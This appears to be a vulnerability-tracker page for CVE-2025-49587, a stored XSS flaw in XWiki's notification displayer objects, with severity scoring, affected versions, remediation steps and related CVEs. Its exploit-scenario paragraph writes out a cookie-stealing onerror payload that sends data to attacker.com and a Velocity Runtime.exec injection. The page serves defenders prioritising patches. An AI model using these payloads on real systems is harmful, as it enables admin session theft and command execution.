Skip to main content

Xwiki EUVDEUVD-2025-18296

| CVE-2025-49587 HIGH
Insufficient UI Warning of Dangerous Operations (CWE-357)
2025-06-13 security-advisories@github.com GHSA-j7p2-87q3-44w7
8.0
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2021 - Vulnerable and Outdated Components
ASVS 5.0
V6 - Authentication Insufficient UI warning of dangerous op
Impact

This vulnerability presents HIGH real-world risk despite being a stored XSS rather than direct RCE. Attack Vector (Network) and low Access Complexity indicate broad exploitability from remote locations without special setup. However, Privilege Required (Low) and User Interaction (Required - admin must edit the document) moderately constrains the attack surface. The CVSS score of 8.0 (High) reflects the severe impact: full confidentiality, integrity, and availability compromise of wiki data through XSS in an admin context. The vulnerability's real danger lies in the privilege escalation pathway: an unprivileged user can plant malicious content that executes with administrative context when an admin later edits the document. Unlike theoretical high-CVSS issues, this attack chain is practical in collaborative wiki environments where admins regularly review and edit user-created documents. The introduction of warnings in XWiki 15.9 acknowledges this was a known operational risk; the CVE formalizes it as a security defect requiring code-level fixes. The 3-version patch release (15.10.16, 16.4.7, 16.10.2) suggests XWiki maintainers view this as significant enough for backporting across major version lines.

Exploit ScenarioDerived

An attacker with valid user credentials (OR an unprivileged user in an open-registration wiki) creates a new document and adds an XWiki.Notifications.Code.NotificationDisplayerClass object containing malicious Velocity code or HTML payload, such as: <img src=x onerror='fetch("http://attacker.com/?cookie=" + document.cookie)'> or Velocity injection like #set($x='').getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('cmd'). The document is saved and appears benign on the wiki. Days or weeks later, an administrator receives a notification or stumbles upon the document during routine maintenance and clicks 'Edit' to review it. Upon save, the NotificationDisplayerClass content is rendered without proper sanitization, and the malicious payload executes in the admin's browser context with full session privileges. The attacker's JavaScript steals the admin's session cookie, allowing account takeover, or modifies wiki content with admin rights. No special exploit code is required beyond crafting the payload—the vulnerability is in the normal wiki workflow. Attack complexity is low because creating a document and waiting for admin interaction is trivial; the only friction is the User Interaction requirement (admin must edit the document), which is predictable in collaborative wikis where admins regularly review user contributions.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

Stored XSS vulnerability in XWiki affecting versions before 15.10.16, 16.4.7, and 16.10.2. An unprivileged user can inject malicious content into the NotificationDisplayerClass object of a document, which is then rendered as raw HTML when an administrator edits and saves the document, enabling XSS attacks with high integrity and confidentiality impact. The vulnerability requires low attack complexity and user interaction (admin action), with a CVSS score of 8.0 indicating significant real-world risk.

RemediationAI

Immediate patch versions: upgrade to XWiki 15.10.16, 16.4.7, or 16.10.2 or later depending on current version branch. For users unable to immediately patch: (1) Restrict document creation/editing rights to trusted users only via XWiki permission system; (2) Disable the Notifications application if not critical; (3) Implement admin review procedures that treat any NotificationDisplayerClass objects with heightened suspicion, avoiding save operations on documents containing such objects until patched; (4) Monitor document edit logs for unprivileged users creating documents with class objects; (5) Use XWiki's built-in content security policies if available to restrict HTML output in notification contexts. For versions 15.9+, the warning system provides some defense-in-depth but should not be relied upon as sole mitigation. Vendor advisories and patches are available from the XWiki Security Advisory page.

Affected VersionsENISA

xwiki-platform 16.0.0-rc-1, < 16.4.7
xwiki-platform 15.9-rc-1, < 15.10.16
xwiki-platform 16.5.0-rc-1, < 16.10.2

Affected Packages

maven org.xwiki.platform:xwiki-platform-notifications-notifiers-default fix: 15.10.16, 16.4.7, 16.10.2
euvd xwiki_platform_15_9_rc_1 fix: 15.10.16
euvd xwiki_platform_16_0_0_rc_1 fix: 16.4.7
euvd xwiki_platform_16_5_0_rc_1 fix: 16.10.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 4 packages in maven, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

XWiki is a Java-based collaborative wiki platform that processes wiki markup and supports Velocity template engine for dynamic content. The vulnerability exists in the XWiki.Notifications.Code.NotificationDisplayerClass object property handling. When this object is created by a user without script rights and contains malicious Velocity code or HTML payloads, the content is not properly sanitized or validated before being output during admin document editing. The root cause is CWE-357 (Insufficient UI Warning for Dangerous Operations), where the system failed to warn administrators about potentially dangerous content before processing user-created objects. While Velocity code execution itself is legitimate, the lack of pre-edit warnings before XWiki 15.9 meant admins had no mechanism to identify and reject suspicious content. The fix introduces a 'required rights analyzer' that validates script permissions on the object properties before allowing admin edits.

Know when Xwiki gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.0 HIGH
AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Mar 14, 2026 - 21:34 nvd
Patch available
PoC Detected
Sep 03, 2025 - 17:44 vuln.today
Public exploit code
CVE Published
Jun 13, 2025 - 18:15 nvd
HIGH 8.0

DescriptionGitHub Advisory

XWiki is an open-source wiki software platform. When a user without script right creates a document with an XWiki.Notifications.Code.NotificationDisplayerClass object, and later an admin edits and saves that document, the possibly malicious content of that object is output as raw HTML, allowing XSS attacks. While the notification displayer executes Velocity, the existing generic analyzer already warns admins before editing Velocity code. Note that warnings before editing documents with dangerous properties have only been introduced in XWiki 15.9, before that version, this was a known issue and the advice was simply to be careful. This vulnerability has been patched in XWiki 15.10.16, 16.4.7, and 16.10.2 by adding a required rights analyzer that warns the admin before editing about the possibly malicious code.

Executive ViewAI

Why It Matters

XWiki installations are vulnerable to cross-site scripting (XSS) attacks when administrators edit documents containing malicious notification objects created by unprivileged users. This vulnerability requires both user collaboration and administrative action to exploit, but could allow attackers to compromise admin sessions and gain unauthorized access to sensitive wiki data.

Business Impact: Medium
Compensating Controls

Apply vendor patch. If immediate patching is not possible: restrict document creation permissions to trusted users only, implement admin security awareness training on not editing untrusted documents, disable XWiki.Notifications.Code.NotificationDisplayerClass if unused, and deploy WAF rules to detect and block XSS payloads in HTTP responses from XWiki instances.

Threat Intelligence Overview

EPSS Score
0.3%
Top 52% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact
Medium

Priority Score

60
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

More in Xwiki

View all
CVE-2025-24893 CRITICAL POC
9.8 Feb 20

XWiki Platform allows unauthenticated remote code execution through the SolrSearch endpoint, enabling guests to execute

CVE-2024-21650 CRITICAL POC
10.0 Jan 08

XWiki Platform prior to specific patched versions contains a CVSS 10.0 remote code execution vulnerability through the u

CVE-2025-32969 CRITICAL POC
9.3 Apr 23

XWiki is a generic wiki platform. Rated critical severity (CVSS 9.3), this vulnerability is remotely exploitable, no aut

CVE-2023-27479 CRITICAL POC
9.9 Mar 07

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical

CVE-2023-26055 CRITICAL POC
9.9 Mar 02

XWiki Commons are technical libraries common to several other top level XWiki projects. Rated critical severity (CVSS 9.

CVE-2024-31996 CRITICAL POC
9.8 Apr 10

XWiki Platform is a generic wiki platform. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitabl

CVE-2024-31982 CRITICAL POC
9.8 Apr 10

XWiki Platform is a generic wiki platform. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitabl

CVE-2023-46731 CRITICAL POC
9.8 Nov 06

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical

CVE-2023-26477 CRITICAL POC
9.8 Mar 02

XWiki Platform is a generic wiki platform. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitabl

CVE-2025-52472 CRITICAL POC
9.3 Oct 06

Unauthenticated HQL injection in the XWiki Platform REST search API lets remote attackers inject arbitrary Hibernate Que

CVE-2025-55747 CRITICAL POC
9.3 Sep 03

XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy